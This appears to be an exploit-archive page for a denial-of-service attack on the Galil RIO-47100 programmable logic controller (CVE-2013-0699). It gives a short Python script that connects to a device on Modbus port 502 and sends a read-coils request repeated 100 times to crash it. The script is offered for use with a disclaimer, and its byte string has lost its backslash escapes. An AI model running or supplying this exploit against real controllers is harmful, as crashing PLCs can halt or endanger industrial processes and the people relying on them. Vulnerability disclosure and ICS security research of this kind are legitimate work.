[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Galil-RIO Modbus - Denial of Service
# Published : 2013-07-27
# Author :
# Previous Title : SAS Integration Technologies Client 9.31_M1 (SASspk.dll) - Stack-Based Overflow
# Next Title : Light Audio Mixer Version 1.0.12 (.wav) - Crash POC


# Exploit Title: Galil RIO-47100
# Date: 05-01-2013
# Exploit Author: Sapling
# Vendor Homepage: www.galilmc.com
# Version: Rio Firmware Prior to 1.1d
# CVE : CVE-2013-0699
# ICSA: ICSA-13-116-01

/* There are many different ways to crash this PLC but most of them are
centralized around the repeating a request in a single packet format. So
read a coil repeated in a single packet.
The Rio-47100 by Galil is a small PLC with an internal RISC based
processor. It communicates using ModBus, or Telnet over Ethernet as well as
having a web server built in that allows a user to issue commands.
I take no responsibility for the use of this code and using this code you
agree to take responsibility for your own actions. */


# Python Proof of concept
# A quick run down of the last half start at x06
# x06 length
# x01 unit id
# x01 function code (read coils)
# x00x00 start address
# x00x01 coil quantity
# Repeat the request in the packet 100 times
# Unfortunateley I can't remember the minimum number of times you have to
repeat to cause the crash

import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('x00x01x00x00x00x06x01x01x00x00x00x01'*100)